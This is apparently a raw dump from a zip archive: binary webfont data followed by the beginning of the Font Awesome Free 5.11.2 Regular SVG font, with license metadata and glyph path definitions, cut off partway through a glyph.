-J޳҉.]z|09s3VOL撵ҕsNܹti~Y$4-(c@IRɹvbvϝŚOAs	oQ@AVy6&qؖsiLCuq Jo|C7#i&El4i{U(֭:rqlTJ=K2Ʒ@C}DK-Xn0j}o}ֻ/wSނSm}3
}M>n3`{ .Fi^%BjS_B;Ucn']w ܚ{;Ujgr\ͳ<9B<[J|"`ޫMҟdX;,R@^dx˟b̷`jsS
w#4Ng
U @*FhH#J/\5%dixS l*	I6r*!$L6ScrlPɊ؇H#A;t!!UmB~Igt27,Ո^DH*;5(Q5fUY"DC
{Hږ!ǽNc?GKsQe'5 JZmE0t~mjF9S*CTxh+&,ȖB͛mjAez)_g@3#rȐͨ],:N:Sv)!Fٲ*ù䝌FZX1bh0!{
/dr
Y@dG[G#l1/igTYj2=AQl"):&4Bo!+FѤh̳$T^UȑaWOS`}`ԭõ7/>nO>צDb6hdBZ):ȍrzɻbNV"[A;'J-E֓QË]:,|\k+1,WQPK]+P#o)~5^0)3K=Q~$gֵru6^ǽ"[yʾ_̃D]3xrK-%4sWm}OS7yn]EWwAbJék5p#cu"FIBTÚ`8T
`!'H>P	<HѨTE͗aLcR$G I1I8lPeippwp-bayq"D1Y
R]:	4D̫Sy	BWT^/Kʃ%(w%ehܔ5f0TJϷpsY\ 5	XעU@[Ym
,!")Q(@Dꂎ̣XBcpNGuxa_Q/˱l+jEq5% O^iۚ?K<A}\vXKmf&؟$#a;jr	ނK LMs9nan_%mD5g;cpl R5Z*J7$iWJ-?I`D	e)R­B-j~5p1vk*HH#?S>ui?2r
-2@EYz14KTDN
*1ݲL|T^HXXDjtgTcz-/7_]Է
n?"5]SaKP&My.9\ĒiyQ(n:m9v由DAAM?<)BW1O`i;&W1Fm6jc!8c`{0L^dPˍ".z>t24v-$:LGLw2;=CCh4V/Vef>v}-_m-[hn!/?>zD X>E'"9E8/Z*gƍԽ	1L>WsջEF:|Ѱ05g	{]л^ѿB	Ƌq\
8`zn]ЖEkZ((	ȶ mkP(Y!uⱳ\N]=_PXi<vE_sɞ86AJ=:6/jůnUkUKW9]+#~NiYݼq;'`uL?>kDJynKP]j{7S~CkH;(}W68j~O ~##dm!vgG`ԍl|eeI7TμHIzcQ9eJ%+ꪪ?>V/+!ER1'왊̤t]EdR$ %^QXv?FV0hjOs5?h&M>@O&ά㦂Yl:CΜݵp,42W0X.<%EU+pzϊ iۙAQ{r+ܡsK_ w%A,f@M'%0֡(/-&"(&TU ;h&Jxpz:w<:k*cnf*Jӝ XM;i3kY"kb@JY*1ԛi{ఔj.@QM1b>}nuV?68skf4ѱo/R3g.9S5(7l/HC@@s̽UivPuFъZIPv=咢>'*+n{X^bݩDHѿDoZ
2uUix7WR3F:=[M)i_Y-_Z,sF66+lA]4VYk/7/F?E#^ jajA >`orNid)Y/z00F1MJl7fɗa'/b$r8J]vJ40t<=]uѻF>_=t!sޜLyׇps[\t0byPl;6Ʌ;g2*
GUHgBl2g/ٱql>aHsy\Bo
MRTTwd'q_
,uB,$dB"bQw$k͸J)w-pg|:4beѠ[\Q,=
twARiCSRR05շd{(]I`8%:`5V1%J71i4yֱߥn7BQ9_8L}ZTu *:[M?o|lXXeaHE4lxE@]̀(-׀`и;p̈27ٳCܖrJxA嶠jKD>ZD?*S!}b T=fq%ƴZ)~K|	
iRC1ZR9Qӱ:0(&G*n737[+`n@D37&0p),3fI~2r(uܽ?IOW(Fߢ?Aoˑ_Elt䳁CӲN7?@d8cRQc.nlџ{i,]ۡf:چEڧfG qِ%>U/T{ZyZSÀ2ļq!jp-:L)4dNcĥA+.FR ܠᇾa!JTcUS1!e
c(و\{"VD4.#;#"R2RIzP>׵G4CSDY]S]2	G<_IY9Ƈ 	׸Ƕi0ץ3T&כS-RϽγb	0:+	tGz?(3=L6ŴlD	+ADjI
Qa'ceZ8(\2?G+2y3x	$URLުai9V_zVH^EApb^fYar*8kvVC+;KQwH`^e[N?GtWtdQkH#Qb	+?L"
H+[T8.7$k#F>hmfYHc7SuR0<@F-	~((ءl5xz
UMmyTv{ezkթƉPJ(ʲx~gJ
, #Wh<\[Ѵsse
ѽә7}L?6j,x`{~hkpM>t#WMYSuY1ezJk[|e^j9PW]NOwVKx#K6M/+X4;us1o*@i a1* wM$tLԨD2IKXT)= tXk0Fh]!͏c]k)])l~w
%4Mn~Gx*nR݀H.:/.*BkTX'
X7/7
Mub;.ez@d{Ȥ%YFRÙeP:>݃9=oFD;T%t`_CkWƹe1/E	>MUq-i[wt3ujYf{Y5VOR Sz֌$3\(R{l^m"zRw+!$űĭzZ%AX	ekNǗ6H 
L>rVrP2XBJ dk){.Nb "j."+ym[2ASEĞ@'HСTN6oPL;]@܂*DCʺXvlHW/
"iӍ1zX8%WWѠcMੇFmFF6q@j!PdZn	bӇj#p&uT]WbHh/dRwѝ>IT&H"	~9H`KܝA7S	*&@ݳ,]g Xr8O+bBq1Q((tɕ+X/m/CH,#˙XD>WNfs-]-ҁ/5S}X3ݿ~6#$duwgq,_)`lJ%lDM%CÓ(]򹼰NΜdkV**KRoթc_^m9g6/ul/\),hUaҤڏor,v,lqBcҨ8ڱSM$.aq24;u7h>58]!EQ[>m,FȰD9t)omw\rWmXf:}s$R"@vxVm!s}	Q_WOT<V̊£j:VhNk4nUm2YWvj=7>Ii4}q*L/ ȲQT 9P6Q@΃Q^Ay}^tǋ!xL'='M4"mM޲d$#걕9Jěõh+cW{g0*3
xl`~iګ%c\?Ͳ}.
/ٽfs
q"0!(h!W5O!C<~,7_l^:=k9144$ Zn^(m@T+QGjg*>Eڙ6it	`_T}c&; ۷9CSiK)&Gsf׺uhef>1>K	e_u` ӟ
ճ:1Aۼn;hN/[g+c,t},M4XB+Ufݡid|P|M~Ef_;ݮE˺޷mzW++o}G=G/q#?#~g/8`%YRpϸ+)])fIAbiFExE.4o:/Vk_*j>PE4[ѵJ߹h}ֻOEǮq+֌ 
!٤U"QQY^6,zzI~̟SKy0GyTM|RUAyC@ /dv}Ӂoct+nmnky|ز'VR%9~mEڱ4q sU}!]_7^t|(uݱYv6ݗ@NbxWPkOjj(U+`5xXXX%I[&Sioh>]4FѪSvwSy`?+na,F"$%겢
XUT%ܳtpjlc(U	j.ELAVdZoJ
84q&2an'_9=a}~S{Nפ[=Ug=t-'ҝGlϭ֗vzKg~c,a	k71ky5s#'vXokw7o<g<]wmtzQŔOiPG$Pf3J I0Ȃ2.GsnWrG?ӻI2Y,ҨRΕ2[x-^vf1_)6X(wJ3wHڮwgsH2S<19ÍX/6_N+Keґx}Du2γ>A

>$g:Nq
bA噃R/, ~QR,Uf9"1_Ŗ؛ތTbUju\EbůDNŶ$cA( (B@&|Ot;]%M61ϓhl_8`u=1iFUo^0iÄ~"U\YSL[^*NQ:w!w{-HR~M۟h;뀠Գx"?r:(B9}uܴVUc OU8|n3B$pcF-%#t@-)a] W}Bü| 6#]{yxyyVۯHmm_;l}a{\Đ1^zP05mu:(A$B$"*={vSqWqqw>ŠQo o|f< ;F;y0ӺbtPirc<[_"H35h<=_#t)mv\yR"xtΙNT"UEBʅ#ΕaHa	H(31Th"17YtǕH+JٛUr=^; uJgZ
WGK[׋g_oϻ!aAy0ﳒ 1aQF[vxŝ Wdca	~HcYIC!^:
-IVD/=svyH(a7\"Ow!?[4bOoMD6v:ƻpwܝk{KcZ];s߷DeWRi?x^Nss`jfnwxtpuLn>-63H\D3
|6TcG3ta&, ?HRlXox8i&ffD?D̾٘P$M	5MREsܲ~e&X5ow?_4/)(*C*PSI(Yz5-/&7Qn4C}o'T ]OZSa!ṀA!]tƊU799!NlS\wqKnIuBp1]caHJ8Ǹx',=@t$mcjё.Ӳ3XIږg$<f4j"=b`Xd͝!lðCc(`h<QlDt;D< -k XU]Pu*h1AY*HWc6|:WIif{A-Į2b[Iu^OYP57^^)6xCF^aÆ'f*8	fBG4~
ӏL*'ipM8Su84\4g`$2h8-ټr\wB<	)!?=5!'LwMwgaztvy(Cf1̜qi
X%3O=in%szȲ:jS|w;Q	Xϵ(eaUuB	/8Dʐ}0-oB6ȏwq~[Ŷzvw״9pC#u܁r%F7mp?ʕXl-uIvꊽⴾx%8^ ފXޖ1K~~ll~q<(d>4F+8튋[,?54-]mQ-suwtϷOs[eكuRsG^Um>: ''X=	@@=sZ;sS
]2}^wa+pSV@&[b#  ݾ/P>qn 3Г=%[d(,DX̌ll=-jbOt~Oc]@acV72/K1펕]2ȻAcc--<glD/T?z7IqI{%YQz#_{Q^d|^TqfR  xc`d``\o󕁛nۮu$  q xc`d``< S7@(&  	 xQ0t'tF<LхD0I
H'Ǘk39eg:E4)E5ޠ9L/ADZk<?);FfXC÷6HZb-K>hsk;YiI݋<[-K̾oO[           @ |  n*bH*Nbb	^	

:

:6ND >n8(fLD Ll.lDfZhDh  h !
!J!!"f"#N#$$j$$%%P&B&'
'P'''(((l()$))*N*+6+~+,J,--..f//0,01 122p2334:445 566Z677b  xc`d``Ű$ 3  $ xNQϝ) !	h&vB@wʍM2̅>¥wa`gMpW=wMa<^;a+C^BA}m8oq.&2[UjQ*7U=$eŎ;X;aQ8*Oz%<&<NKxIxwVx	#e4«Լ^+va1BtуF8y6vv0Bg,=n; 1]'FV2&=>8A>{8^=<C;72O=8<l\\nxq369lmleojS>cL|#Xlշti'8G<E$BR_ے::i3Qv~켓Ykꐳ御<z'z`#:옡NᡶCKuze-
Ǒ$/$2FIR9b.~>_'xmTgw6Ԝ$d.ޙ{$W$N Ae9'wCZ~Ll?G	Yb#Ήt衏%,#@acQc83qNlsqb\Kq.Wj\k:\p#n͸6܎;p'ݸ>܏ x1<'$x9<"^x597&x=#A
rpJHT؄A-̰9v!>3|/%;|S8#~7?'ĔiT֤4\	ӛӂi,܌/HG	WQS2mx&m,[ܥ9it>J2eU_NdQPi&R#a[^QT.ҡ#LL
YD	Si7OӵiTI^H,7}	AT^"yO-Zқ5SPE	"$DK]qİKfv([[PLiKK0ݷ}wVrQmb>bZ۝i@6`߄
:.bmȕRz6HiqEˬV3ҁh;!1nf匔on33jh$[Yrل[<%ٔLd>q{(a*+۸&Ki#in)#DuڂphELQ)9՗VCe0hTG'\k#w6te׏Te5XB+;Ѭ.Wڃ^݂UGNmBVmY[LieWK#f,{<vK3Z機xil|V3RQK9ŔBi8Ku^ycZM_;u;~(}PJys+ץh}Vz=iY-)ٙ/Od)zYnAL/HψFMld/փ&c6Yf5mWzS1M_:~FMm󾢽m"%65P=ݶ\kU)o"   PK     N\d;D4 D4   webfonts/fa-regular-400.svgnu [        <?xml version="1.0" standalone="no"?>
<!--
Font Awesome Free 5.11.2 by @fontawesome - https://fontawesome.com
License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License)
-->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<metadata>
Created by FontForge 20190801 at Mon Sep 23 12:53:49 2019
 By Robert Madole
Copyright (c) Font Awesome
</metadata>
<defs>
<font id="FontAwesome5Free-Regular" horiz-adv-x="512" >
  <font-face 
    font-family="Font Awesome 5 Free Regular"
    font-weight="400"
    font-stretch="normal"
    units-per-em="512"
    panose-1="2 0 5 3 0 0 0 0 0 0"
    ascent="448"
    descent="-64"
    bbox="-0.0663408 -64.0662 640.01 448.1"
    underline-thickness="25"
    underline-position="-50"
    unicode-range="U+0020-F5C8"
  />
    <missing-glyph />
    <glyph glyph-name="heart" unicode="&#xf004;" 
d="M458.4 383.7c75.2998 -63.4004 64.0996 -166.601 10.5996 -221.3l-175.4 -178.7c-10 -10.2002 -23.2998 -15.7998 -37.5996 -15.7998c-14.2002 0 -27.5996 5.69922 -37.5996 15.8994l-175.4 178.7c-53.5996 54.7002 -64.5996 157.9 10.5996 221.2
c57.8008 48.7002 147.101 41.2998 202.4 -15c55.2998 56.2998 144.6 63.5996 202.4 15zM434.8 196.2c36.2002 36.8994 43.7998 107.7 -7.2998 150.8c-38.7002 32.5996 -98.7002 27.9004 -136.5 -10.5996l-35 -35.7002l-35 35.7002
c-37.5996 38.2998 -97.5996 43.1992 -136.5 10.5c-51.2002 -43.1006 -43.7998 -113.5 -7.2998 -150.7l175.399 -178.7c2.40039 -2.40039 4.40039 -2.40039 6.80078 0z" />
    <glyph glyph-name="star" unicode="&#xf005;" horiz-adv-x="576" 
d="M528.1 276.5c26.2002 -3.7998 36.7002 -36.0996 17.7002 -54.5996l-105.7 -103l25 -145.5c4.5 -26.3008 -23.1992 -45.9004 -46.3994 -33.7002l-130.7 68.7002l-130.7 -68.7002c-23.2002 -12.2998 -50.8994 7.39941 -46.3994 33.7002l25 145.5l-105.7 103
c-19 18.5 -8.5 50.7998 17.7002 54.5996l146.1 21.2998l65.2998 132.4c11.7998 23.8994 45.7002 23.5996 57.4004 0l65.2998 -132.4zM388.6 135.7l100.601 98l-139 20.2002l-62.2002 126l-62.2002 -126l-139 -20.2002l100.601 -98l-23.7002 -138.4l124.3 65.2998
l124.3 -65.2998z" />
    <glyph glyph-name="user" unicode="&#xf007;" horiz-adv-x="448" 
d="M313.6 144c74.2002 0 134.4 -60.2002 134.4 -134.4v-25.5996c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v25.5996c0 74.2002 60.2002 134.4 134.4 134.4c28.7998 0 42.5 -16 89.5996 -16s60.9004 16 89.5996 16zM400 -16v25.5996
c0 47.6006 -38.7998 86.4004 -86.4004 86.4004c-14.6992 0 -37.8994 -16 -89.5996 -16c-51.2998 0 -75 16 -89.5996 16c-47.6006 0 -86.4004 -38.7998 -86.4004 -86.4004v-25.5996h352zM224 160c-79.5 0 -144 64.5 -144 144s64.5 144 144 144s144 -64.5 144 -144
s-64.5 -144 -144 -144zM224 400c-52.9004 0 -96 -43.0996 -96 -96s43.0996 -96 96 -96s96 43.0996 96 96s-43.0996 96 -96 96z" />
    <glyph glyph-name="clock" unicode="&#xf017;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM256 -8c110.5 0 200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200s89.5 -200 200 -200zM317.8 96.4004l-84.8994 61.6992
c-3.10059 2.30078 -4.90039 5.90039 -4.90039 9.7002v164.2c0 6.59961 5.40039 12 12 12h32c6.59961 0 12 -5.40039 12 -12v-141.7l66.7998 -48.5996c5.40039 -3.90039 6.5 -11.4004 2.60059 -16.7998l-18.8008 -25.9004c-3.89941 -5.2998 -11.3994 -6.5 -16.7998 -2.59961z
" />
    <glyph glyph-name="list-alt" unicode="&#xf022;" 
d="M464 416c26.5098 0 48 -21.4902 48 -48v-352c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v352c0 26.5098 21.4902 48 48 48h416zM458 16c3.31152 0 6 2.68848 6 6v340c0 3.31152 -2.68848 6 -6 6h-404c-3.31152 0 -6 -2.68848 -6 -6v-340
c0 -3.31152 2.68848 -6 6 -6h404zM416 108v-24c0 -6.62695 -5.37305 -12 -12 -12h-200c-6.62695 0 -12 5.37305 -12 12v24c0 6.62695 5.37305 12 12 12h200c6.62695 0 12 -5.37305 12 -12zM416 204v-24c0 -6.62695 -5.37305 -12 -12 -12h-200c-6.62695 0 -12 5.37305 -12 12
v24c0 6.62695 5.37305 12 12 12h200c6.62695 0 12 -5.37305 12 -12zM416 300v-24c0 -6.62695 -5.37305 -12 -12 -12h-200c-6.62695 0 -12 5.37305 -12 12v24c0 6.62695 5.37305 12 12 12h200c6.62695 0 12 -5.37305 12 -12zM164 288c0 -19.8818 -16.1182 -36 -36 -36
s-36 16.1182 -36 36s16.1182 36 36 36s36 -16.1182 36 -36zM164 192c0 -19.8818 -16.1182 -36 -36 -36s-36 16.1182 -36 36s16.1182 36 36 36s36 -16.1182 36 -36zM164 96c0 -19.8818 -16.1182 -36 -36 -36s-36 16.1182 -36 36s16.1182 36 36 36s36 -16.1182 36 -36z" />
    <glyph glyph-name="flag" unicode="&#xf024;" 
d="M336.174 368c35.4668 0 73.0195 12.6914 108.922 28.1797c31.6406 13.6514 66.9043 -9.65723 66.9043 -44.1162v-239.919c0 -16.1953 -8.1543 -31.3057 -21.7129 -40.1631c-26.5762 -17.3643 -70.0693 -39.9814 -128.548 -39.9814c-68.6084 0 -112.781 32 -161.913 32
c-56.5674 0 -89.957 -11.2803 -127.826 -28.5566v-83.4434c0 -8.83691 -7.16309 -16 -16 -16h-16c-8.83691 0 -16 7.16309 -16 16v406.438c-14.3428 8.2998 -24 23.7979 -24 41.5615c0 27.5693 23.2422 49.71 51.2012 47.8965
c22.9658 -1.49023 41.8662 -19.4717 44.4805 -42.3379c0.177734 -1.52441 0.321289 -4.00781 0.321289 -5.54199c0 -4.30176 -1.10352 -11.1035 -2.46289 -15.1846c22.418 8.68555 49.4199 15.168 80.7207 15.168c68.6084 0 112.781 -32 161.913 -32zM464 112v240
c-31.5059 -14.6338 -84.5547 -32 -127.826 -32c-59.9111 0 -101.968 32 -161.913 32c-41.4365 0 -80.4766 -16.5879 -102.261 -32v-232c31.4473 14.5967 84.4648 24 127.826 24c59.9111 0 101.968 -32 161.913 -32c41.4365 0 80.4775 16.5879 102.261 32z" />
    <glyph glyph-name="bookmark" unicode="&#xf02e;" horiz-adv-x="384" 
d="M336 448c26.5098 0 48 -21.4902 48 -48v-464l-192 112l-192 -112v464c0 26.5098 21.4902 48 48 48h288zM336 19.5703v374.434c0 3.31348 -2.68555 5.99609 -6 5.99609h-276c-3.31152 0 -6 -2.68848 -6 -6v-374.43l144 84z" />
    <glyph glyph-name="image" unicode="&#xf03e;" 
d="M464 384c26.5098 0 48 -21.4902 48 -48v-288c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h416zM458 48c3.31152 0 6 2.68848 6 6v276c0 3.31152 -2.68848 6 -6 6h-404c-3.31152 0 -6 -2.68848 -6 -6v-276
c0 -3.31152 2.68848 -6 6 -6h404zM128 296c22.0908 0 40 -17.9092 40 -40s-17.9092 -40 -40 -40s-40 17.9092 -40 40s17.9092 40 40 40zM96 96v48l39.5137 39.5146c4.6875 4.68652 12.2852 4.68652 16.9717 0l39.5146 -39.5146l119.514 119.515
c4.6875 4.68652 12.2852 4.68652 16.9717 0l87.5146 -87.5146v-80h-320z" />
    <glyph glyph-name="edit" unicode="&#xf044;" horiz-adv-x="576" 
d="M402.3 103.1l32 32c5 5 13.7002 1.5 13.7002 -5.69922v-145.4c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h273.5c7.09961 0 10.7002 -8.59961 5.7002 -13.7002l-32 -32c-1.5 -1.5 -3.5 -2.2998 -5.7002 -2.2998h-241.5v-352h352
v113.5c0 2.09961 0.799805 4.09961 2.2998 5.59961zM558.9 304.9l-262.601 -262.601l-90.3994 -10c-26.2002 -2.89941 -48.5 19.2002 -45.6006 45.6006l10 90.3994l262.601 262.601c22.8994 22.8994 59.8994 22.8994 82.6992 0l43.2002 -43.2002
c22.9004 -22.9004 22.9004 -60 0.100586 -82.7998zM460.1 274l-58.0996 58.0996l-185.8 -185.899l-7.2998 -65.2998l65.2998 7.2998zM524.9 353.7l-43.2002 43.2002c-4.10059 4.09961 -10.7998 4.09961 -14.7998 0l-30.9004 -30.9004l58.0996 -58.0996l30.9004 30.8994
c4 4.2002 4 10.7998 -0.0996094 14.9004z" />
    <glyph glyph-name="times-circle" unicode="&#xf057;" 
d="M256 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM256 -8c110.5 0 200 89.5 200 200s-89.5 200 -200 200s-200 -89.5 -200 -200s89.5 -200 200 -200zM357.8 254.2l-62.2002 -62.2002l62.2002 -62.2002
c4.7002 -4.7002 4.7002 -12.2998 0 -17l-22.5996 -22.5996c-4.7002 -4.7002 -12.2998 -4.7002 -17 0l-62.2002 62.2002l-62.2002 -62.2002c-4.7002 -4.7002 -12.2998 -4.7002 -17 0l-22.5996 22.5996c-4.7002 4.7002 -4.7002 12.2998 0 17l62.2002 62.2002l-62.2002 62.2002
c-4.7002 4.7002 -4.7002 12.2998 0 17l22.5996 22.5996c4.7002 4.7002 12.2998 4.7002 17 0l62.2002 -62.2002l62.2002 62.2002c4.7002 4.7002 12.2998 4.7002 17 0l22.5996 -22.5996c4.7002 -4.7002 4.7002 -12.2998 0 -17z" />
    <glyph glyph-name="check-circle" unicode="&#xf058;" 
d="M256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248zM256 392c-110.549 0 -200 -89.4678 -200 -200c0 -110.549 89.4678 -200 200 -200c110.549 0 200 89.4678 200 200c0 110.549 -89.4678 200 -200 200z
M396.204 261.733c4.66699 -4.70508 4.63672 -12.3037 -0.0673828 -16.9717l-172.589 -171.204c-4.70508 -4.66797 -12.3027 -4.63672 -16.9697 0.0683594l-90.7812 91.5156c-4.66797 4.70605 -4.63672 12.3047 0.0683594 16.9717l22.7188 22.5361
c4.70508 4.66699 12.3027 4.63574 16.9697 -0.0693359l59.792 -60.2773l141.353 140.216c4.70508 4.66797 12.3027 4.6377 16.9697 -0.0673828z" />
    <glyph glyph-name="question-circle" unicode="&#xf059;" 
d="M256 440c136.957 0 248 -111.083 248 -248c0 -136.997 -111.043 -248 -248 -248s-248 111.003 -248 248c0 136.917 111.043 248 248 248zM256 -8c110.569 0 200 89.4697 200 200c0 110.529 -89.5088 200 -200 200c-110.528 0 -200 -89.5049 -200 -200
c0 -110.569 89.4678 -200 200 -200zM363.244 247.2c0 -67.0518 -72.4209 -68.084 -72.4209 -92.8633v-6.33691c0 -6.62695 -5.37305 -12 -12 -12h-45.6475c-6.62695 0 -12 5.37305 -12 12v8.65918c0 35.7451 27.1006 50.0342 47.5791 61.5156
c17.5615 9.84473 28.3242 16.541 28.3242 29.5791c0 17.2461 -21.999 28.6934 -39.7842 28.6934c-23.1885 0 -33.8936 -10.9775 -48.9424 -29.9697c-4.05664 -5.11914 -11.46 -6.07031 -16.666 -2.12402l-27.8232 21.0986
c-5.10742 3.87207 -6.25098 11.0654 -2.64453 16.3633c23.627 34.6934 53.7217 54.1846 100.575 54.1846c49.0713 0 101.45 -38.3037 101.45 -88.7998zM298 80c0 -23.1592 -18.8408 -42 -42 -42s-42 18.8408 -42 42s18.8408 42 42 42s42 -18.8408 42 -42z" />
    <glyph glyph-name="eye" unicode="&#xf06e;" horiz-adv-x="576" 
d="M288 304c0.0927734 0 0.244141 0.000976562 0.336914 0.000976562c61.6641 0 111.71 -50.0469 111.71 -111.711c0 -61.6631 -50.0459 -111.71 -111.71 -111.71s-111.71 50.0469 -111.71 111.71c0 8.71289 1.95898 22.5781 4.37305 30.9502
c6.93066 -3.94141 19.0273 -7.18457 27 -7.24023c30.9121 0 56 25.0879 56 56c-0.0556641 7.97266 -3.29883 20.0693 -7.24023 27c8.42383 2.62207 22.4189 4.8623 31.2402 5zM572.52 206.6c1.9209 -3.79883 3.47949 -10.3379 3.47949 -14.5947
s-1.55859 -10.7959 -3.47949 -14.5947c-54.1992 -105.771 -161.59 -177.41 -284.52 -177.41s-230.29 71.5898 -284.52 177.4c-1.9209 3.79883 -3.47949 10.3379 -3.47949 14.5947s1.55859 10.7959 3.47949 14.5947c54.1992 105.771 161.59 177.41 284.52 177.41
s230.29 -71.5898 284.52 -177.4zM288 48c98.6602 0 189.1 55 237.93 144c-48.8398 89 -139.27 144 -237.93 144s-189.09 -55 -237.93 -144c48.8398 -89 139.279 -144 237.93 -144z" />
    <glyph glyph-name="eye-slash" unicode="&#xf070;" horiz-adv-x="640" 
d="M634 -23c3.31738 -2.65137 6.00977 -8.25098 6.00977 -12.498c0 -3.10449 -1.57715 -7.58984 -3.51953 -10.0117l-10 -12.4902c-2.65234 -3.31152 -8.24707 -6 -12.4902 -6c-3.09961 0 -7.58008 1.57227 -10 3.50977l-598 467.49
c-3.31738 2.65137 -6.00977 8.25098 -6.00977 12.498c0 3.10449 1.57715 7.58984 3.51953 10.0117l10 12.4902c2.65234 3.31152 8.24707 6 12.4902 6c3.09961 0 7.58008 -1.57227 10 -3.50977zM296.79 301.53c6.33496 1.35059 16.7324 2.45801 23.21 2.46973
c60.4805 0 109.36 -47.9102 111.58 -107.85zM343.21 82.46c-6.33496 -1.34375 -16.7334 -2.44629 -23.21 -2.45996c-60.4697 0 -109.35 47.9102 -111.58 107.84zM320 336c-19.8799 0 -39.2803 -2.7998 -58.2197 -7.09961l-46.4102 36.29
c32.9199 11.8096 67.9297 18.8096 104.63 18.8096c122.93 0 230.29 -71.5898 284.57 -177.4c1.91992 -3.79883 3.47949 -10.3379 3.47949 -14.5947s-1.55957 -10.7959 -3.47949 -14.5947c-11.7197 -22.7598 -35.4189 -56.4092 -52.9004 -75.1104l-37.7402 29.5
c14.333 15.0156 34.0449 41.9854 44 60.2002c-48.8398 89 -139.279 144 -237.93 144zM320 48c19.8896 0 39.2803 2.7998 58.2197 7.08984l46.4102 -36.2803c-32.9199 -11.7598 -67.9297 -18.8096 -104.63 -18.8096c-122.92 0 -230.28 71.5898 -284.51 177.4
c-1.9209 3.79883 -3.47949 10.3379 -3.47949 14.5947s1.55859 10.7959 3.47949 14.5947c11.7168 22.7568 35.4111 56.4014 52.8896 75.1006l37.7402 -29.5c-14.3467 -15.0107 -34.0811 -41.9756 -44.0498 -60.1904c48.8496 -89 139.279 -144 237.93 -144z" />
    <glyph glyph-name="calendar-alt" unicode="&#xf073;" horiz-adv-x="448" 
d="M148 160h-40c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12zM256 172c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40
c6.59961 0 12 -5.40039 12 -12v-40zM352 172c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40zM256 76c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v40
c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40zM160 76c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40zM352 76c0 -6.59961 -5.40039 -12 -12 -12h-40
c-6.59961 0 -12 5.40039 -12 12v40c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-40zM448 336v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h48v52c0 6.59961 5.40039 12 12 12h40
c6.59961 0 12 -5.40039 12 -12v-52h128v52c0 6.59961 5.40039 12 12 12h40c6.59961 0 12 -5.40039 12 -12v-52h48c26.5 0 48 -21.5 48 -48zM400 -10v298h-352v-298c0 -3.2998 2.7002 -6 6 -6h340c3.2998 0 6 2.7002 6 6z" />
    <glyph glyph-name="comment" unicode="&#xf075;" 
d="M256 416c141.4 0 256 -93.0996 256 -208s-114.6 -208 -256 -208c-32.7998 0 -64 5.2002 -92.9004 14.2998c-29.0996 -20.5996 -77.5996 -46.2998 -139.1 -46.2998c-9.59961 0 -18.2998 5.7002 -22.0996 14.5c-3.80078 8.7998 -2 19 4.59961 26
c0.5 0.400391 31.5 33.7998 46.4004 73.2002c-33 35.0996 -52.9004 78.7002 -52.9004 126.3c0 114.9 114.6 208 256 208zM256 48c114.7 0 208 71.7998 208 160s-93.2998 160 -208 160s-208 -71.7998 -208 -160c0 -42.2002 21.7002 -74.0996 39.7998 -93.4004
l20.6006 -21.7998l-10.6006 -28.0996c-5.5 -14.5 -12.5996 -28.1006 -19.8994 -40.2002c23.5996 7.59961 43.1992 18.9004 57.5 29l19.5 13.7998l22.6992 -7.2002c25.3008 -8 51.7002 -12.0996 78.4004 -12.0996z" />
    <glyph glyph-name="folder" unicode="&#xf07b;" 
d="M464 320c26.5098 0 48 -21.4902 48 -48v-224c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v288c0 26.5098 21.4902 48 48 48h146.74c8.49023 0 16.6299 -3.37012 22.6299 -9.37012l54.6299 -54.6299h192zM464 48v224h-198.62
c-8.49023 0 -16.6299 3.37012 -22.6299 9.37012l-54.6299 54.6299h-140.12v-288h416z" />
    <glyph glyph-name="folder-open" unicode="&#xf07c;" horiz-adv-x="576" 
d="M527.9 224c37.6992 0 60.6992 -41.5 40.6992 -73.4004l-79.8994 -128c-8.7998 -14.0996 -24.2002 -22.5996 -40.7002 -22.5996h-400c-26.5 0 -48 21.5 -48 48v288c0 26.5 21.5 48 48 48h160l64 -64h160c26.5 0 48 -21.5 48 -48v-48h47.9004zM48 330v-233.4l62.9004 104.2
c8.69922 14.4004 24.2998 23.2002 41.0996 23.2002h280v42c0 3.2998 -2.7002 6 -6 6h-173.9l-64 64h-134.1c-3.2998 0 -6 -2.7002 -6 -6zM448 48l80 128h-378.8l-77.2002 -128h376z" />
    <glyph glyph-name="chart-bar" unicode="&#xf080;" 
